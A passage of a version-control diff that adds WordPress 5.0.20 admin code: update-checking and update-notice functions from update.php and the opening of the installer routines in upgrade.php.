+/**
+ * Selects the first update version from the update_core option.
+ *
+ * @return object|array|false The response from the API on success, false on failure.
+ */
+function get_preferred_from_update_core() {
+	$updates = get_core_updates();
+	if ( ! is_array( $updates ) )
+		return false;
+	if ( empty( $updates ) )
+		return (object) array( 'response' => 'latest' );
+	return $updates[0];
+}
+
+/**
+ * Get available core updates.
+ *
+ * @param array $options Set $options['dismissed'] to true to show dismissed upgrades too,
+ * 	                     set $options['available'] to false to skip not-dismissed updates.
+ * @return array|false Array of the update objects on success, false on failure.
+ */
+function get_core_updates( $options = array() ) {
+	$options = array_merge( array( 'available' => true, 'dismissed' => false ), $options );
+	$dismissed = get_site_option( 'dismissed_update_core' );
+
+	if ( ! is_array( $dismissed ) )
+		$dismissed = array();
+
+	$from_api = get_site_transient( 'update_core' );
+
+	if ( ! isset( $from_api->updates ) || ! is_array( $from_api->updates ) )
+		return false;
+
+	$updates = $from_api->updates;
+	$result = array();
+	foreach ( $updates as $update ) {
+		if ( $update->response == 'autoupdate' )
+			continue;
+
+		if ( array_key_exists( $update->current . '|' . $update->locale, $dismissed ) ) {
+			if ( $options['dismissed'] ) {
+				$update->dismissed = true;
+				$result[] = $update;
+			}
+		} else {
+			if ( $options['available'] ) {
+				$update->dismissed = false;
+				$result[] = $update;
+			}
+		}
+	}
+	return $result;
+}
+
+/**
+ * Gets the best available (and enabled) Auto-Update for WordPress Core.
+ *
+ * If there's 1.2.3 and 1.3 on offer, it'll choose 1.3 if the installation allows it, else, 1.2.3
+ *
+ * @since 3.7.0
+ *
+ * @return array|false False on failure, otherwise the core update offering.
+ */
+function find_core_auto_update() {
+	$updates = get_site_transient( 'update_core' );
+	if ( ! $updates || empty( $updates->updates ) )
+		return false;
+
+	include_once( ABSPATH . 'wp-admin/includes/class-wp-upgrader.php' );
+
+	$auto_update = false;
+	$upgrader = new WP_Automatic_Updater;
+	foreach ( $updates->updates as $update ) {
+		if ( 'autoupdate' != $update->response )
+			continue;
+
+		if ( ! $upgrader->should_update( 'core', $update, ABSPATH ) )
+			continue;
+
+		if ( ! $auto_update || version_compare( $update->current, $auto_update->current, '>' ) )
+			$auto_update = $update;
+	}
+	return $auto_update;
+}
+
+/**
+ * Gets and caches the checksums for the given version of WordPress.
+ *
+ * @since 3.7.0
+ *
+ * @param string $version Version string to query.
+ * @param string $locale  Locale to query.
+ * @return bool|array False on failure. An array of checksums on success.
+ */
+function get_core_checksums( $version, $locale ) {
+	$url = $http_url = 'http://api.wordpress.org/core/checksums/1.0/?' . http_build_query( compact( 'version', 'locale' ), null, '&' );
+
+	if ( $ssl = wp_http_supports( array( 'ssl' ) ) )
+		$url = set_url_scheme( $url, 'https' );
+
+	$options = array(
+		'timeout' => wp_doing_cron() ? 30 : 3,
+	);
+
+	$response = wp_remote_get( $url, $options );
+	if ( $ssl && is_wp_error( $response ) ) {
+		trigger_error(
+			sprintf(
+				/* translators: %s: support forums URL */
+				__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
+				__( 'https://wordpress.org/support/' )
+			) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ),
+			headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE
+		);
+		$response = wp_remote_get( $http_url, $options );
+	}
+
+	if ( is_wp_error( $response ) || 200 != wp_remote_retrieve_response_code( $response ) )
+		return false;
+
+	$body = trim( wp_remote_retrieve_body( $response ) );
+	$body = json_decode( $body, true );
+
+	if ( ! is_array( $body ) || ! isset( $body['checksums'] ) || ! is_array( $body['checksums'] ) )
+		return false;
+
+	return $body['checksums'];
+}
+
+/**
+ *
+ * @param object $update
+ * @return bool
+ */
+function dismiss_core_update( $update ) {
+	$dismissed = get_site_option( 'dismissed_update_core' );
+	$dismissed[ $update->current . '|' . $update->locale ] = true;
+	return update_site_option( 'dismissed_update_core', $dismissed );
+}
+
+/**
+ *
+ * @param string $version
+ * @param string $locale
+ * @return bool
+ */
+function undismiss_core_update( $version, $locale ) {
+	$dismissed = get_site_option( 'dismissed_update_core' );
+	$key = $version . '|' . $locale;
+
+	if ( ! isset( $dismissed[$key] ) )
+		return false;
+
+	unset( $dismissed[$key] );
+	return update_site_option( 'dismissed_update_core', $dismissed );
+}
+
+/**
+ *
+ * @param string $version
+ * @param string $locale
+ * @return object|false
+ */
+function find_core_update( $version, $locale ) {
+	$from_api = get_site_transient( 'update_core' );
+
+	if ( ! isset( $from_api->updates ) || ! is_array( $from_api->updates ) )
+		return false;
+
+	$updates = $from_api->updates;
+	foreach ( $updates as $update ) {
+		if ( $update->current == $version && $update->locale == $locale )
+			return $update;
+	}
+	return false;
+}
+
+/**
+ *
+ * @param string $msg
+ * @return string
+ */
+function core_update_footer( $msg = '' ) {
+	if ( !current_user_can('update_core') )
+		return sprintf( __( 'Version %s' ), get_bloginfo( 'version', 'display' ) );
+
+	$cur = get_preferred_from_update_core();
+	if ( ! is_object( $cur ) )
+		$cur = new stdClass;
+
+	if ( ! isset( $cur->current ) )
+		$cur->current = '';
+
+	if ( ! isset( $cur->url ) )
+		$cur->url = '';
+
+	if ( ! isset( $cur->response ) )
+		$cur->response = '';
+
+	switch ( $cur->response ) {
+	case 'development' :
+		/* translators: 1: WordPress version number, 2: WordPress updates admin screen URL */
+		return sprintf( __( 'You are using a development version (%1$s). Cool! Please <a href="%2$s">stay updated</a>.' ), get_bloginfo( 'version', 'display' ), network_admin_url( 'update-core.php' ) );
+
+	case 'upgrade' :
+		return '<strong><a href="' . network_admin_url( 'update-core.php' ) . '">' . sprintf( __( 'Get Version %s' ), $cur->current ) . '</a></strong>';
+
+	case 'latest' :
+	default :
+		return sprintf( __( 'Version %s' ), get_bloginfo( 'version', 'display' ) );
+	}
+}
+
+/**
+ *
+ * @global string $pagenow
+ * @return false|void
+ */
+function update_nag() {
+	if ( is_multisite() && !current_user_can('update_core') )
+		return false;
+
+	global $pagenow;
+
+	if ( 'update-core.php' == $pagenow )
+		return;
+
+	$cur = get_preferred_from_update_core();
+
+	if ( ! isset( $cur->response ) || $cur->response != 'upgrade' )
+		return false;
+
+	if ( current_user_can( 'update_core' ) ) {
+		$msg = sprintf(
+			/* translators: 1: Codex URL to release notes, 2: new WordPress version, 3: URL to network admin, 4: accessibility text */
+			__( '<a href="%1$s">WordPress %2$s</a> is available! <a href="%3$s" aria-label="%4$s">Please update now</a>.' ),
+			sprintf(
+				/* translators: %s: WordPress version */
+				esc_url( __( 'https://codex.wordpress.org/Version_%s' ) ),
+				$cur->current
+			),
+			$cur->current,
+			network_admin_url( 'update-core.php' ),
+			esc_attr__( 'Please update WordPress now' )
+		);
+	} else {
+		$msg = sprintf(
+			/* translators: 1: Codex URL to release notes, 2: new WordPress version */
+			__( '<a href="%1$s">WordPress %2$s</a> is available! Please notify the site administrator.' ),
+			sprintf(
+				/* translators: %s: WordPress version */
+				esc_url( __( 'https://codex.wordpress.org/Version_%s' ) ),
+				$cur->current
+			),
+			$cur->current
+		);
+	}
+	echo "<div class='update-nag'>$msg</div>";
+}
+
+// Called directly from dashboard
+function update_right_now_message() {
+	$theme_name = wp_get_theme();
+	if ( current_user_can( 'switch_themes' ) ) {
+		$theme_name = sprintf( '<a href="themes.php">%1$s</a>', $theme_name );
+	}
+
+	$msg = '';
+
+	if ( current_user_can('update_core') ) {
+		$cur = get_preferred_from_update_core();
+
+		if ( isset( $cur->response ) && $cur->response == 'upgrade' )
+			$msg .= '<a href="' . network_admin_url( 'update-core.php' ) . '" class="button" aria-describedby="wp-version">' . sprintf( __( 'Update to %s' ), $cur->current ? $cur->current : __( 'Latest' ) ) . '</a> ';
+	}
+
+	/* translators: 1: version number, 2: theme name */
+	$content = __( 'WordPress %1$s running %2$s theme.' );
+
+	/**
+	 * Filters the text displayed in the 'At a Glance' dashboard widget.
+	 *
+	 * Prior to 3.8.0, the widget was named 'Right Now'.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $content Default text.
+	 */
+	$content = apply_filters( 'update_right_now_text', $content );
+
+	$msg .= sprintf( '<span id="wp-version">' . $content . '</span>', get_bloginfo( 'version', 'display' ), $theme_name );
+
+	echo "<p id='wp-version-message'>$msg</p>";
+}
+
+/**
+ * @since 2.9.0
+ *
+ * @return array
+ */
+function get_plugin_updates() {
+	$all_plugins = get_plugins();
+	$upgrade_plugins = array();
+	$current = get_site_transient( 'update_plugins' );
+	foreach ( (array)$all_plugins as $plugin_file => $plugin_data) {
+		if ( isset( $current->response[ $plugin_file ] ) ) {
+			$upgrade_plugins[ $plugin_file ] = (object) $plugin_data;
+			$upgrade_plugins[ $plugin_file ]->update = $current->response[ $plugin_file ];
+		}
+	}
+
+	return $upgrade_plugins;
+}
+
+/**
+ * @since 2.9.0
+ */
+function wp_plugin_update_rows() {
+	if ( !current_user_can('update_plugins' ) )
+		return;
+
+	$plugins = get_site_transient( 'update_plugins' );
+	if ( isset($plugins->response) && is_array($plugins->response) ) {
+		$plugins = array_keys( $plugins->response );
+		foreach ( $plugins as $plugin_file ) {
+			add_action( "after_plugin_row_$plugin_file", 'wp_plugin_update_row', 10, 2 );
+		}
+	}
+}
+
+/**
+ * Displays update information for a plugin.
+ *
+ * @param string $file        Plugin basename.
+ * @param array  $plugin_data Plugin information.
+ * @return false|void
+ */
+function wp_plugin_update_row( $file, $plugin_data ) {
+	$current = get_site_transient( 'update_plugins' );
+	if ( ! isset( $current->response[ $file ] ) ) {
+		return false;
+	}
+
+	$response = $current->response[ $file ];
+
+	$plugins_allowedtags = array(
+		'a'       => array( 'href' => array(), 'title' => array() ),
+		'abbr'    => array( 'title' => array() ),
+		'acronym' => array( 'title' => array() ),
+		'code'    => array(),
+		'em'      => array(),
+		'strong'  => array(),
+	);
+
+	$plugin_name   = wp_kses( $plugin_data['Name'], $plugins_allowedtags );
+	$details_url   = self_admin_url( 'plugin-install.php?tab=plugin-information&plugin=' . $response->slug . '&section=changelog&TB_iframe=true&width=600&height=800' );
+
+	/** @var WP_Plugins_List_Table $wp_list_table */
+	$wp_list_table = _get_list_table( 'WP_Plugins_List_Table' );
+
+	if ( is_network_admin() || ! is_multisite() ) {
+		if ( is_network_admin() ) {
+			$active_class = is_plugin_active_for_network( $file ) ? ' active' : '';
+		} else {
+			$active_class = is_plugin_active( $file ) ? ' active' : '';
+		}
+
+		echo '<tr class="plugin-update-tr' . $active_class . '" id="' . esc_attr( $response->slug . '-update' ) . '" data-slug="' . esc_attr( $response->slug ) . '" data-plugin="' . esc_attr( $file ) . '"><td colspan="' . esc_attr( $wp_list_table->get_column_count() ) . '" class="plugin-update colspanchange"><div class="update-message notice inline notice-warning notice-alt"><p>';
+
+		if ( ! current_user_can( 'update_plugins' ) ) {
+			/* translators: 1: plugin name, 2: details URL, 3: additional link attributes, 4: version number */
+			printf( __( 'There is a new version of %1$s available. <a href="%2$s" %3$s>View version %4$s details</a>.' ),
+				$plugin_name,
+				esc_url( $details_url ),
+				sprintf( 'class="thickbox open-plugin-details-modal" aria-label="%s"',
+					/* translators: 1: plugin name, 2: version number */
+					esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $plugin_name, $response->new_version ) )
+				),
+				$response->new_version
+			);
+		} elseif ( empty( $response->package ) ) {
+			/* translators: 1: plugin name, 2: details URL, 3: additional link attributes, 4: version number */
+			printf( __( 'There is a new version of %1$s available. <a href="%2$s" %3$s>View version %4$s details</a>. <em>Automatic update is unavailable for this plugin.</em>' ),
+				$plugin_name,
+				esc_url( $details_url ),
+				sprintf( 'class="thickbox open-plugin-details-modal" aria-label="%s"',
+					/* translators: 1: plugin name, 2: version number */
+					esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $plugin_name, $response->new_version ) )
+				),
+				$response->new_version
+			);
+		} else {
+			/* translators: 1: plugin name, 2: details URL, 3: additional link attributes, 4: version number, 5: update URL, 6: additional link attributes */
+			printf( __( 'There is a new version of %1$s available. <a href="%2$s" %3$s>View version %4$s details</a> or <a href="%5$s" %6$s>update now</a>.' ),
+				$plugin_name,
+				esc_url( $details_url ),
+				sprintf( 'class="thickbox open-plugin-details-modal" aria-label="%s"',
+					/* translators: 1: plugin name, 2: version number */
+					esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $plugin_name, $response->new_version ) )
+				),
+				$response->new_version,
+				wp_nonce_url( self_admin_url( 'update.php?action=upgrade-plugin&plugin=' ) . $file, 'upgrade-plugin_' . $file ),
+				sprintf( 'class="update-link" aria-label="%s"',
+					/* translators: %s: plugin name */
+					esc_attr( sprintf( __( 'Update %s now' ), $plugin_name ) )
+				)
+			);
+		}
+
+		/**
+		 * Fires at the end of the update message container in each
+		 * row of the plugins list table.
+		 *
+		 * The dynamic portion of the hook name, `$file`, refers to the path
+		 * of the plugin's primary file relative to the plugins directory.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param array $plugin_data {
+		 *     An array of plugin metadata.
+		 *
+		 *     @type string $name        The human-readable name of the plugin.
+		 *     @type string $plugin_uri  Plugin URI.
+		 *     @type string $version     Plugin version.
+		 *     @type string $description Plugin description.
+		 *     @type string $author      Plugin author.
+		 *     @type string $author_uri  Plugin author URI.
+		 *     @type string $text_domain Plugin text domain.
+		 *     @type string $domain_path Relative path to the plugin's .mo file(s).
+		 *     @type bool   $network     Whether the plugin can only be activated network wide.
+		 *     @type string $title       The human-readable title of the plugin.
+		 *     @type string $author_name Plugin author's name.
+		 *     @type bool   $update      Whether there's an available update. Default null.
+		 * }
+		 * @param array $response {
+		 *     An array of metadata about the available plugin update.
+		 *
+		 *     @type int    $id          Plugin ID.
+		 *     @type string $slug        Plugin slug.
+		 *     @type string $new_version New plugin version.
+		 *     @type string $url         Plugin URL.
+		 *     @type string $package     Plugin update package URL.
+		 * }
+		 */
+		do_action( "in_plugin_update_message-{$file}", $plugin_data, $response );
+
+		echo '</p></div></td></tr>';
+	}
+}
+
+/**
+ *
+ * @return array
+ */
+function get_theme_updates() {
+	$current = get_site_transient('update_themes');
+
+	if ( ! isset( $current->response ) )
+		return array();
+
+	$update_themes = array();
+	foreach ( $current->response as $stylesheet => $data ) {
+		$update_themes[ $stylesheet ] = wp_get_theme( $stylesheet );
+		$update_themes[ $stylesheet ]->update = $data;
+	}
+
+	return $update_themes;
+}
+
+/**
+ * @since 3.1.0
+ */
+function wp_theme_update_rows() {
+	if ( !current_user_can('update_themes' ) )
+		return;
+
+	$themes = get_site_transient( 'update_themes' );
+	if ( isset($themes->response) && is_array($themes->response) ) {
+		$themes = array_keys( $themes->response );
+
+		foreach ( $themes as $theme ) {
+			add_action( "after_theme_row_$theme", 'wp_theme_update_row', 10, 2 );
+		}
+	}
+}
+
+/**
+ * Displays update information for a theme.
+ *
+ * @param string   $theme_key Theme stylesheet.
+ * @param WP_Theme $theme     Theme object.
+ * @return false|void
+ */
+function wp_theme_update_row( $theme_key, $theme ) {
+	$current = get_site_transient( 'update_themes' );
+
+	if ( ! isset( $current->response[ $theme_key ] ) ) {
+		return false;
+	}
+
+	$response = $current->response[ $theme_key ];
+
+	$details_url = add_query_arg( array(
+		'TB_iframe' => 'true',
+		'width'     => 1024,
+		'height'    => 800,
+	), $current->response[ $theme_key ]['url'] );
+
+	/** @var WP_MS_Themes_List_Table $wp_list_table */
+	$wp_list_table = _get_list_table( 'WP_MS_Themes_List_Table' );
+
+	$active = $theme->is_allowed( 'network' ) ? ' active' : '';
+
+	echo '<tr class="plugin-update-tr' . $active . '" id="' . esc_attr( $theme->get_stylesheet() . '-update' ) . '" data-slug="' . esc_attr( $theme->get_stylesheet() ) . '"><td colspan="' . $wp_list_table->get_column_count() . '" class="plugin-update colspanchange"><div class="update-message notice inline notice-warning notice-alt"><p>';
+	if ( ! current_user_can( 'update_themes' ) ) {
+		/* translators: 1: theme name, 2: details URL, 3: additional link attributes, 4: version number */
+		printf( __( 'There is a new version of %1$s available. <a href="%2$s" %3$s>View version %4$s details</a>.'),
+			$theme['Name'],
+			esc_url( $details_url ),
+			sprintf( 'class="thickbox open-plugin-details-modal" aria-label="%s"',
+				/* translators: 1: theme name, 2: version number */
+				esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $theme['Name'], $response['new_version'] ) )
+			),
+			$response['new_version']
+		);
+	} elseif ( empty( $response['package'] ) ) {
+		/* translators: 1: theme name, 2: details URL, 3: additional link attributes, 4: version number */
+		printf( __( 'There is a new version of %1$s available. <a href="%2$s" %3$s>View version %4$s details</a>. <em>Automatic update is unavailable for this theme.</em>' ),
+			$theme['Name'],
+			esc_url( $details_url ),
+			sprintf( 'class="thickbox open-plugin-details-modal" aria-label="%s"',
+				/* translators: 1: theme name, 2: version number */
+				esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $theme['Name'], $response['new_version'] ) )
+			),
+			$response['new_version']
+		);
+	} else {
+		/* translators: 1: theme name, 2: details URL, 3: additional link attributes, 4: version number, 5: update URL, 6: additional link attributes */
+		printf( __( 'There is a new version of %1$s available. <a href="%2$s" %3$s>View version %4$s details</a> or <a href="%5$s" %6$s>update now</a>.' ),
+			$theme['Name'],
+			esc_url( $details_url ),
+			sprintf( 'class="thickbox open-plugin-details-modal" aria-label="%s"',
+				/* translators: 1: theme name, 2: version number */
+				esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $theme['Name'], $response['new_version'] ) )
+			),
+			$response['new_version'],
+			wp_nonce_url( self_admin_url( 'update.php?action=upgrade-theme&theme=' ) . $theme_key, 'upgrade-theme_' . $theme_key ),
+			sprintf( 'class="update-link" aria-label="%s"',
+				/* translators: %s: theme name */
+				esc_attr( sprintf( __( 'Update %s now' ), $theme['Name'] ) )
+			)
+		);
+	}
+
+	/**
+	 * Fires at the end of the update message container in each
+	 * row of the themes list table.
+	 *
+	 * The dynamic portion of the hook name, `$theme_key`, refers to
+	 * the theme slug as found in the WordPress.org themes repository.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param WP_Theme $theme    The WP_Theme object.
+	 * @param array    $response {
+	 *     An array of metadata about the available theme update.
+	 *
+	 *     @type string $new_version New theme version.
+	 *     @type string $url         Theme URL.
+	 *     @type string $package     Theme update package URL.
+	 * }
+	 */
+	do_action( "in_theme_update_message-{$theme_key}", $theme, $response );
+
+	echo '</p></div></td></tr>';
+}
+
+/**
+ *
+ * @global int $upgrading
+ * @return false|void
+ */
+function maintenance_nag() {
+	include( ABSPATH . WPINC . '/version.php' ); // include an unmodified $wp_version
+	global $upgrading;
+	$nag = isset( $upgrading );
+	if ( ! $nag ) {
+		$failed = get_site_option( 'auto_core_update_failed' );
+		/*
+		 * If an update failed critically, we may have copied over version.php but not other files.
+		 * In that case, if the installation claims we're running the version we attempted, nag.
+		 * This is serious enough to err on the side of nagging.
+		 *
+		 * If we simply failed to update before we tried to copy any files, then assume things are
+		 * OK if they are now running the latest.
+		 *
+		 * This flag is cleared whenever a successful update occurs using Core_Upgrader.
+		 */
+		$comparison = ! empty( $failed['critical'] ) ? '>=' : '>';
+		if ( version_compare( $failed['attempted'], $wp_version, $comparison ) )
+			$nag = true;
+	}
+
+	if ( ! $nag )
+		return false;
+
+	if ( current_user_can('update_core') )
+		$msg = sprintf( __('An automated WordPress update has failed to complete - <a href="%s">please attempt the update again now</a>.'), 'update-core.php' );
+	else
+		$msg = __('An automated WordPress update has failed to complete! Please notify the site administrator.');
+
+	echo "<div class='update-nag'>$msg</div>";
+}
+
+/**
+ * Prints the JavaScript templates for update admin notices.
+ *
+ * Template takes one argument with four values:
+ *
+ *     param {object} data {
+ *         Arguments for admin notice.
+ *
+ *         @type string id        ID of the notice.
+ *         @type string className Class names for the notice.
+ *         @type string message   The notice's message.
+ *         @type string type      The type of update the notice is for. Either 'plugin' or 'theme'.
+ *     }
+ *
+ * @since 4.6.0
+ */
+function wp_print_admin_notice_templates() {
+	?>
+	<script id="tmpl-wp-updates-admin-notice" type="text/html">
+		<div <# if ( data.id ) { #>id="{{ data.id }}"<# } #> class="notice {{ data.className }}"><p>{{{ data.message }}}</p></div>
+	</script>
+	<script id="tmpl-wp-bulk-updates-admin-notice" type="text/html">
+		<div id="{{ data.id }}" class="{{ data.className }} notice <# if ( data.errors ) { #>notice-error<# } else { #>notice-success<# } #>">
+			<p>
+				<# if ( data.successes ) { #>
+					<# if ( 1 === data.successes ) { #>
+						<# if ( 'plugin' === data.type ) { #>
+							<?php
+							/* translators: %s: Number of plugins */
+							printf( __( '%s plugin successfully updated.' ), '{{ data.successes }}' );
+							?>
+						<# } else { #>
+							<?php
+							/* translators: %s: Number of themes */
+							printf( __( '%s theme successfully updated.' ), '{{ data.successes }}' );
+							?>
+						<# } #>
+					<# } else { #>
+						<# if ( 'plugin' === data.type ) { #>
+							<?php
+							/* translators: %s: Number of plugins */
+							printf( __( '%s plugins successfully updated.' ), '{{ data.successes }}' );
+							?>
+						<# } else { #>
+							<?php
+							/* translators: %s: Number of themes */
+							printf( __( '%s themes successfully updated.' ), '{{ data.successes }}' );
+							?>
+						<# } #>
+					<# } #>
+				<# } #>
+				<# if ( data.errors ) { #>
+					<button class="button-link bulk-action-errors-collapsed" aria-expanded="false">
+						<# if ( 1 === data.errors ) { #>
+							<?php
+							/* translators: %s: Number of failed updates */
+							printf( __( '%s update failed.' ), '{{ data.errors }}' );
+							?>
+						<# } else { #>
+							<?php
+							/* translators: %s: Number of failed updates */
+							printf( __( '%s updates failed.' ), '{{ data.errors }}' );
+							?>
+						<# } #>
+						<span class="screen-reader-text"><?php _e( 'Show more details' ); ?></span>
+						<span class="toggle-indicator" aria-hidden="true"></span>
+					</button>
+				<# } #>
+			</p>
+			<# if ( data.errors ) { #>
+				<ul class="bulk-action-errors hidden">
+					<# _.each( data.errorMessages, function( errorMessage ) { #>
+						<li>{{ errorMessage }}</li>
+					<# } ); #>
+				</ul>
+			<# } #>
+		</div>
+	</script>
+	<?php
+}
+
+/**
+ * Prints the JavaScript templates for update and deletion rows in list tables.
+ *
+ * The update template takes one argument with four values:
+ *
+ *     param {object} data {
+ *         Arguments for the update row
+ *
+ *         @type string slug    Plugin slug.
+ *         @type string plugin  Plugin base name.
+ *         @type string colspan The number of table columns this row spans.
+ *         @type string content The row content.
+ *     }
+ *
+ * The delete template takes one argument with four values:
+ *
+ *     param {object} data {
+ *         Arguments for the update row
+ *
+ *         @type string slug    Plugin slug.
+ *         @type string plugin  Plugin base name.
+ *         @type string name    Plugin name.
+ *         @type string colspan The number of table columns this row spans.
+ *     }
+ *
+ * @since 4.6.0
+ */
+function wp_print_update_row_templates() {
+	?>
+	<script id="tmpl-item-update-row" type="text/template">
+		<tr class="plugin-update-tr update" id="{{ data.slug }}-update" data-slug="{{ data.slug }}" <# if ( data.plugin ) { #>data-plugin="{{ data.plugin }}"<# } #>>
+			<td colspan="{{ data.colspan }}" class="plugin-update colspanchange">
+				{{{ data.content }}}
+			</td>
+		</tr>
+	</script>
+	<script id="tmpl-item-deleted-row" type="text/template">
+		<tr class="plugin-deleted-tr inactive deleted" id="{{ data.slug }}-deleted" data-slug="{{ data.slug }}" <# if ( data.plugin ) { #>data-plugin="{{ data.plugin }}"<# } #>>
+			<td colspan="{{ data.colspan }}" class="plugin-update colspanchange">
+				<# if ( data.plugin ) { #>
+					<?php
+					printf(
+						/* translators: %s: Plugin name */
+						_x( '%s was successfully deleted.', 'plugin' ),
+						'<strong>{{{ data.name }}}</strong>'
+					);
+					?>
+				<# } else { #>
+					<?php
+					printf(
+						/* translators: %s: Theme name */
+						_x( '%s was successfully deleted.', 'theme' ),
+						'<strong>{{{ data.name }}}</strong>'
+					);
+					?>
+				<# } #>
+			</td>
+		</tr>
+	</script>
+	<?php
+}
Index: /tags/5.0.20/src/wp-admin/includes/upgrade.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/upgrade.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/upgrade.php	(revision 56912)
@@ -0,0 +1,3022 @@
+<?php
+/**
+ * WordPress Upgrade API
+ *
+ * Most of the functions are pluggable and can be overwritten.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Include user installation customization script. */
+if ( file_exists(WP_CONTENT_DIR . '/install.php') )
+	require (WP_CONTENT_DIR . '/install.php');
+
+/** WordPress Administration API */
+require_once(ABSPATH . 'wp-admin/includes/admin.php');
+
+/** WordPress Schema API */
+require_once(ABSPATH . 'wp-admin/includes/schema.php');
+
+if ( !function_exists('wp_install') ) :
+/**
+ * Installs the site.
+ *
+ * Runs the required functions to set up and populate the database,
+ * including primary admin user and initial options.
+ *
+ * @since 2.1.0
+ *
+ * @param string $blog_title    Site title.
+ * @param string $user_name     User's username.
+ * @param string $user_email    User's email.
+ * @param bool   $public        Whether site is public.
+ * @param string $deprecated    Optional. Not used.
+ * @param string $user_password Optional. User's chosen password. Default empty (random password).
+ * @param string $language      Optional. Language chosen. Default empty.
+ * @return array Array keys 'url', 'user_id', 'password', and 'password_message'.
+ */
+function wp_install( $blog_title, $user_name, $user_email, $public, $deprecated = '', $user_password = '', $language = '' ) {
+	if ( !empty( $deprecated ) )
+		_deprecated_argument( __FUNCTION__, '2.6.0' );
+
+	wp_check_mysql_version();
+	wp_cache_flush();
+	make_db_current_silent();
+	populate_options();
+	populate_roles();
+
+	update_option('blogname', $blog_title);
+	update_option('admin_email', $user_email);
+	update_option('blog_public', $public);
+
+	// Freshness of site - in the future, this could get more specific about actions taken, perhaps.
+	update_option( 'fresh_site', 1 );
+
+	if ( $language ) {
+		update_option( 'WPLANG', $language );
+	}
+
+	$guessurl = wp_guess_url();
+
+	update_option('siteurl', $guessurl);
+
+	// If not a public blog, don't ping.
+	if ( ! $public )
+		update_option('default_pingback_flag', 0);
+
+	/*
+	 * Create default user. If the user already exists, the user tables are
+	 * being shared among sites. Just set the role in that case.
+	 */
+	$user_id = username_exists($user_name);
+	$user_password = trim($user_password);
+	$email_password = false;
+	if ( !$user_id && empty($user_password) ) {
+		$user_password = wp_generate_password( 12, false );
+		$message = __('<strong><em>Note that password</em></strong> carefully! It is a <em>random</em> password that was generated just for you.');
+		$user_id = wp_create_user($user_name, $user_password, $user_email);
+		update_user_option($user_id, 'default_password_nag', true, true);
+		$email_password = true;
+	} elseif ( ! $user_id ) {
+		// Password has been provided
+		$message = '<em>'.__('Your chosen password.').'</em>';
+		$user_id = wp_create_user($user_name, $user_password, $user_email);
+	} else {
+		$message = __('User already exists. Password inherited.');
+	}
+
+	$user = new WP_User($user_id);
+	$user->set_role('administrator');
+
+	wp_install_defaults($user_id);
+
+	wp_install_maybe_enable_pretty_permalinks();
+
+	flush_rewrite_rules();
+
+	wp_new_blog_notification($blog_title, $guessurl, $user_id, ($email_password ? $user_password : __('The password you chose during installation.') ) );
+
+	wp_cache_flush();
+
+	/**
+	 * Fires after a site is fully installed.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param WP_User $user The site owner.
+	 */
+	do_action( 'wp_install', $user );
+
+	return array('url' => $guessurl, 'user_id' => $user_id, 'password' => $user_password, 'password_message' => $message);
+}
+endif;
+
+if ( !function_exists('wp_install_defaults') ) :
+/**
+ * Creates the initial content for a newly-installed site.
+ *
+ * Adds the default "Uncategorized" category, the first post (with comment),
+ * first page, and default widgets for default theme for the current version.
+ *
+ * @since 2.1.0
+ *
+ * @global wpdb       $wpdb
+ * @global WP_Rewrite $wp_rewrite
+ * @global string     $table_prefix
+ *
+ * @param int $user_id User ID.
+ */
+function wp_install_defaults( $user_id ) {
+	global $wpdb, $wp_rewrite, $table_prefix;
+
+	// Default category
+	$cat_name = __('Uncategorized');
+	/* translators: Default category slug */
+	$cat_slug = sanitize_title(_x('Uncategorized', 'Default category slug'));
+
+	if ( global_terms_enabled() ) {
+		$cat_id = $wpdb->get_var( $wpdb->prepare( "SELECT cat_ID FROM {$wpdb->sitecategories} WHERE category_nicename = %s", $cat_slug ) );
+		if ( $cat_id == null ) {
+			$wpdb->insert( $wpdb->sitecategories, array('cat_ID' => 0, 'cat_name' => $cat_name, 'category_nicename' => $cat_slug, 'last_updated' => current_time('mysql', true)) );
+			$cat_id = $wpdb->insert_id;
+		}
+		update_option('default_category', $cat_id);
+	} else {
+		$cat_id = 1;
+	}
+
+	$wpdb->insert( $wpdb->terms, array('term_id' => $cat_id, 'name' => $cat_name, 'slug' => $cat_slug, 'term_group' => 0) );
+	$wpdb->insert( $wpdb->term_taxonomy, array('term_id' => $cat_id, 'taxonomy' => 'category', 'description' => '', 'parent' => 0, 'count' => 1));
+	$cat_tt_id = $wpdb->insert_id;
+
+	// First post
+	$now = current_time( 'mysql' );
+	$now_gmt = current_time( 'mysql', 1 );
+	$first_post_guid = get_option( 'home' ) . '/?p=1';
+
+	if ( is_multisite() ) {
+		$first_post = get_site_option( 'first_post' );
+
+		if ( ! $first_post ) {
+			$first_post = "<!-- wp:paragraph -->\n<p>" .
+				/* translators: first post content, %s: site link */
+				__( 'Welcome to %s. This is your first post. Edit or delete it, then start writing!' ) .
+				"</p>\n<!-- /wp:paragraph -->";
+		}
+
+		$first_post = sprintf( $first_post,
+			sprintf( '<a href="%s">%s</a>', esc_url( network_home_url() ), get_network()->site_name )
+		);
+
+		// Back-compat for pre-4.4
+		$first_post = str_replace( 'SITE_URL', esc_url( network_home_url() ), $first_post );
+		$first_post = str_replace( 'SITE_NAME', get_network()->site_name, $first_post );
+	} else {
+		$first_post = "<!-- wp:paragraph -->\n<p>" .
+			/* translators: first post content, %s: site link */
+			__( 'Welcome to WordPress. This is your first post. Edit or delete it, then start writing!' ) .
+			"</p>\n<!-- /wp:paragraph -->";
+	}
+
+	$wpdb->insert( $wpdb->posts, array(
+		'post_author' => $user_id,
+		'post_date' => $now,
+		'post_date_gmt' => $now_gmt,
+		'post_content' => $first_post,
